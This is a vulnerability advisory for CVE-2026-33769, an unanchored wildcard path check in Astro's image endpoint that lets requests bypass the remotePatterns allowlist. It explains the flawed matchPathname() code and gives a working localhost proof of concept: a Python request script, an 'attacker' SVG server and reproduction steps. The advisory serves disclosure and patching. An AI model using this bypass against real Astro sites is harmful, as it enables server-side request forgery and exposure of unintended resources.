CVE-2026-33769: Astro: Remote allowlist bypass via unanchored matchPathname wildcard
Summary This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for / wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host.
Published Mar 26, 2026
Affected packages
astro
- Ecosystem
- npm
- Affected
- >= 2.10.10, < 5.18.1
- Fixed in
- 5.18.1
- Check
npm ls astro
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
return new Response('Forbidden', { status: 403 });
}isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
return (
matchProtocol(url, remotePattern.protocol) &&
matchHostname(url, remotePattern.hostname, true) &&
matchPort(url, remotePattern.port) &&
matchPathname(url, remotePattern.pathname, true)
);
}The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
} else if (pathname.endsWith('/*')) {
const slicedPathname = pathname.slice(0, -1); // * length
const additionalPathChunks = url.pathname
.replace(slicedPathname, '')
.split('/')
.filter(Boolean);
return additionalPathChunks.length === 1;
}Vulnerable code flow:
isRemoteAllowed()evaluatesremotePatternsfor a requested URL.matchPathname()handlespathname: "/img/*"using.replace()on the URL path.- A path such as
/evil/img/secretincorrectly matches because/img/is removed even when it's not at the start. - The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
image: {
remotePatterns: [
{ protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
{ protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
],
},
});Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
import http.client
import json
import urllib.parse
HOST = "127.0.0.1"
PORT = 4321
def fetch(path: str) -> dict:
conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp = conn.getresponse()
body = resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should fail
results = {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))Attacker server
from http.server import BaseHTTPRequestHandler, HTTPServer
HOST = "127.0.0.1"
PORT = 9999
PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
<text>OK</text>
</svg>
"""
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f">>> {self.command} {self.path}")
if self.path.endswith(".svg") or "/img/" in self.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
return
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, format, *args):
return
if __name__ == "__main__":
server = HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()PoC Steps
- Bootstrap default Astro project.
- Add the vulnerable config and attacker server.
- Build the project.
- Start the attacker server.
- Start the Astro server.
- Run the PoC.
- Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Credited to christos-eth.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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